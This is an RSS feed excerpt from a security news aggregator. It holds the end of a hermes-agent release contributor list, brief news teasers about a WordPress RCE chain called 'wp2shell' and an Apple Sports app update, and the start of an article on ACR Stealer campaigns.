class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dodo-reach/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dodo-reach">@dodo-reach</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/doncazper/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/doncazper">@doncazper</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dorokuma/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dorokuma">@dorokuma</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/doxe0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/doxe0x">@doxe0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Drexuxux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Drexuxux">@Drexuxux</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dschnurbusch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dschnurbusch">@dschnurbusch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dusk1e/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dusk1e">@Dusk1e</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EdderTalmor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EdderTalmor">@EdderTalmor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/egilewski/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/egilewski">@egilewski</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/elashera/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/elashera">@elashera</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Elektrofussel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Elektrofussel">@Elektrofussel</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eliteworkstation94-ai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eliteworkstation94-ai">@eliteworkstation94-ai</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/embwl0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/embwl0x">@embwl0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/emo-eth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/emo-eth">@emo-eth</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/emozilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/emozilla">@emozilla</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/enzo-adami/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/enzo-adami">@enzo-adami</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Epoxidex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Epoxidex">@Epoxidex</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ErnestHysa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ErnestHysa">@ErnestHysa</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/esthonjr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/esthonjr">@esthonjr</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/evefromwayback/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/evefromwayback">@evefromwayback</a>, @evelynburger, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/F4TB0Yz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/F4TB0Yz">@F4TB0Yz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/falkoro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/falkoro">@falkoro</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fanyangCS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fanyangCS">@fanyangCS</a>, <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/firefly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/firefly">@firefly</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fjlaowan1983/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fjlaowan1983">@fjlaowan1983</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flewe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flewe">@flewe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flo1t/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flo1t">@flo1t</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flow-digital-ny/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flow-digital-ny">@flow-digital-ny</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/floze-the-genius/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/floze-the-genius">@floze-the-genius</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frizikk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frizikk">@frizikk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Frowtek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Frowtek">@Frowtek</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/FuryMartin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/FuryMartin">@FuryMartin</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fyzanshaik/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fyzanshaik">@fyzanshaik</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gauravsaxena1997/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gauravsaxena1997">@gauravsaxena1997</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/geoffreybutler94/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/geoffreybutler94">@geoffreybutler94</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/georgedrury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/georgedrury">@georgedrury</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gigakun3030/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gigakun3030">@gigakun3030</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giggling-ginger/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giggling-ginger">@giggling-ginger</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Git-on-my-level/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Git-on-my-level">@Git-on-my-level</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gitcommit90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gitcommit90">@gitcommit90</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/githubespresso407/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/githubespresso407">@githubespresso407</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gnodet/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gnodet">@gnodet</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GottZ/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GottZ">@GottZ</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gridzilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gridzilla">@Gridzilla</a>, @grimmjoww578, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gumclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gumclaw">@gumclaw</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gutslabs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gutslabs">@Gutslabs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HaiderSultanArc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HaiderSultanArc">@HaiderSultanArc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/harjothkhara/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/harjothkhara">@harjothkhara</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/heathley/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/heathley">@heathley</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hejuntt1014/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hejuntt1014">@hejuntt1014</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HeLLGURD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HeLLGURD">@HeLLGURD</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hellno/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hellno">@hellno</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/herbalizer404/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/herbalizer404">@herbalizer404</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HexLab98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HexLab98">@HexLab98</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hmirin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hmirin">@hmirin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hopfensaft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hopfensaft">@Hopfensaft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hotragn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hotragn">@Hotragn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hsy5571616/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hsy5571616">@hsy5571616</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/huanshan5195/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/huanshan5195">@huanshan5195</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HumphreySun98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HumphreySun98">@HumphreySun98</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hydracoco7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hydracoco7">@hydracoco7</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hydraxman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hydraxman">@hydraxman</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iamlukethedev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iamlukethedev">@iamlukethedev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iborazzi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iborazzi">@iborazzi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IgorGanapolsky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IgorGanapolsky">@IgorGanapolsky</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iizotov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iizotov">@iizotov</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ildunari/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ildunari">@ildunari</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/infinitycrew39/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/infinitycrew39">@infinitycrew39</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IpastorSan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IpastorSan">@IpastorSan</a>, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,<br>
@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,<br>
@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, @joelbrilliant, @John-Lussier, @jplew,<br>
@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,<br>
@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,<br>
@LavyaTandel, @lawyer112, @lemonwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,<br>
@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,<br>
@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,<br>
@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,<br>
@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MorAlekss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MorAlekss">@MorAlekss</a>, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a>, @neo-claw-bot,<br>
@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nv-kasikritc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nv-kasikritc">@nv-kasikritc</a>,<br>
@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, @OYLFLMH,<br>
@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pierrenode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pierrenode">@pierrenode</a>, @pixel4039,<br>
@plcunha, @pnascimento9596, @Polyhistor, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a>, @professorpalmer, @Punyko8, @Que0x, @Qwinty,<br>
@r0gersm1th, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,<br>
@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>, @rodboev,<br>
@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,<br>
@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,<br>
@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>, @sharziki, @shashwatgokhe,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, @shuangxinniao, @SilentKnight87, @simplast, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>, @SiteupAgencia, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjiangtao2024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjiangtao2024">@sjiangtao2024</a>, @sk-holmes,<br>
@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,<br>
@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,<br>
@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,<br>
@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a>, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>,<br>
@waroffchange, @waseemshahwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,<br>
@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a>, @ya-nsh, @yatesjalex,<br>
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,<br>
@ziliangpeng, @zwcf5200, @zzpigpinggai</p>
<p>Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.7.1...v2026.7.20">v2026.7.1...v2026.7.20</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Critical wp2shell RCE Vulnerability – Complete Coverage Including PoC and Active Exploitation Details]]></title>
<description><![CDATA[A critical pre-authentication remote code execution (RCE) vulnerability chain nicknamed “wp2shell” has been disclosed in WordPress Core, putting an estimated 500 million-plus websites at risk of full takeover by completely unauthenticated attackers. The chain combines two separately tracked flaws...]]></description>
<link>https://tsecurity.de/de/3681856/it-security-nachrichten/critical-wp2shell-rce-vulnerability-complete-coverage-including-poc-and-active-exploitation-details/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681856/it-security-nachrichten/critical-wp2shell-rce-vulnerability-complete-coverage-including-poc-and-active-exploitation-details/</guid>
<pubDate>Mon, 20 Jul 2026 19:37:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A critical pre-authentication remote code execution (RCE) vulnerability chain nicknamed “wp2shell” has been disclosed in WordPress Core, putting an estimated 500 million-plus websites at risk of full takeover by completely unauthenticated attackers. The chain combines two separately tracked flaws CVE-2026-63030,…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/critical-wp2shell-rce-vulnerability-complete-coverage-including-poc-and-active-exploitation-details/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/critical-wp2shell-rce-vulnerability-complete-coverage-including-poc-and-active-exploitation-details/">Critical wp2shell RCE Vulnerability – Complete Coverage Including PoC and Active Exploitation Details</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Sports app expands soccer coverage with new European and Asian leagues]]></title>
<description><![CDATA[Apple has rolled out a timely update to its free Apple Sports app, adding support for seven additional soccer leagues from across…
The post Apple Sports app expands soccer coverage with new European and Asian leagues appeared first on MacDailyNews.]]></description>
<link>https://tsecurity.de/de/3681765/ios-mac-os/apple-sports-app-expands-soccer-coverage-with-new-european-and-asian-leagues/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681765/ios-mac-os/apple-sports-app-expands-soccer-coverage-with-new-european-and-asian-leagues/</guid>
<pubDate>Mon, 20 Jul 2026 19:04:33 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Apple has rolled out a timely update to its free Apple Sports app, adding support for seven additional soccer leagues from across…</p>
<p>The post <a href="https://macdailynews.com/2026/07/20/apple-sports-app-expands-soccer-coverage-with-new-european-and-asian-leagues/">Apple Sports app expands soccer coverage with new European and Asian leagues</a> appeared first on <a href="https://macdailynews.com/">MacDailyNews</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Critical wp2shell RCE Vulnerability – Complete Coverage Including PoC and Active Exploitation Details]]></title>
<description><![CDATA[A critical pre-authentication remote code execution (RCE) vulnerability chain nicknamed “wp2shell” has been disclosed in WordPress Core, putting an estimated 500 million-plus websites at risk of full takeover by completely unauthenticated attackers. The chain combines two separately tracked flaws...]]></description>
<link>https://tsecurity.de/de/3681696/it-security-nachrichten/critical-wp2shell-rce-vulnerability-complete-coverage-including-poc-and-active-exploitation-details/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681696/it-security-nachrichten/critical-wp2shell-rce-vulnerability-complete-coverage-including-poc-and-active-exploitation-details/</guid>
<pubDate>Mon, 20 Jul 2026 19:00:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A critical pre-authentication remote code execution (RCE) vulnerability chain nicknamed “wp2shell” has been disclosed in WordPress Core, putting an estimated 500 million-plus websites at risk of full takeover by completely unauthenticated attackers. The chain combines two separately tracked flaws CVE-2026-63030, a REST API batch-route confusion issue, and CVE-2026-60137, a SQL injection vulnerability in the author__not_in […]</p>
<p>The post <a href="https://cybersecuritynews.com/critical-wp2shell-rce-vulnerability/">Critical wp2shell RCE Vulnerability – Complete Coverage Including PoC and Active Exploitation Details</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New ACR Stealer campaigns use WebDAV, MSHTA to evade detection]]></title>
<description><![CDATA[Microsoft has issued a warning about a recent surge in ACR Stealer activity that uses ClickFix-style social engineering to steal credentials, browser data, and sensitive business documents.



In a new report, Microsoft researchers detailed two separate campaigns observed between late April and m...]]></description>
<link>https://tsecurity.de/de/3681119/it-security-nachrichten/new-acr-stealer-campaigns-use-webdav-mshta-to-evade-detection/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681119/it-security-nachrichten/new-acr-stealer-campaigns-use-webdav-mshta-to-evade-detection/</guid>
<pubDate>Mon, 20 Jul 2026 14:38:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft has issued a warning about a recent surge in ACR Stealer activity that uses ClickFix-style social engineering to steal credentials, browser data, and sensitive business documents.</p>



<p class="wp-block-paragraph">In a new report, Microsoft researchers detailed two separate campaigns observed between late April and mid-June 2026 that use different execution techniques for the same theft.</p>



